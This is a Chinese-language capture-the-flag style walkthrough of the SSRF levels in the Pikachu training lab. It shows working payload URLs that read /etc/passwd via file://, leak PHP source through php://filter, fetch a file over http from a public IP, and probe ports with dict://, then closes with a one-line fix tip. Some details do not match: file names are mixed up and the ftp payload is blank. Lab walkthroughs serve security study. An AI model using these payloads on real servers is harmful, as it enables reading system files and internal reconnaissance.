开始闯关吧
一共有两关
第1关 SSRF(curl)
按照指示点击下图蓝色字体的链接
得到了下图地址栏里的带参数的url,参数名是url,
PHP的curl
PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
PHP中使用cURL实现Get和Post请求的方法
这些函数在PHP 4.0.2中被引入。
1、file协议查看本地文件
先来看个比较熟悉的协议。file协议可以查看本地文件。
输入payload:http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
可以查看文件/etc/passwd的内容
第2关 SSRF(file_get_content)
2、php://filter/读php源代码
php伪协议中有个读php源代码的php://filter/,来试试这个好不好使。比如我想看rce.php的源代码,就输入payload:http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../uploads/md.php
网页上就输出base64编码的rce.php的源代码了
网页上就输出base64编码的upload.php的源代码了
复制出来之后在网上解码
3、http协议请求内网资源
浏览器输入payload:http://117.72.71.59:9001/vul/ssrf/ssrf_fgc.php?file=http://117.72.71.59:9001/vul/sqli/hack.txt
就成功读取到hack.txt的内容啦
4、ftp协议查看内网ftp服务器上的文件
试了下ftp,没有成功
payload是:
5、dict协议扫描内网主机开放端口
使用dict协议可以获取内网主机开放端口相应服务的指纹信息,比如内网主机192.168.101.14上开了ftp服务的话,就可以通过payload:http://117.72.71.59:9001/vul/ssrf/ssrf_curl.php?url=dict://117.72.71.59:9001
SSRF修复建议
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。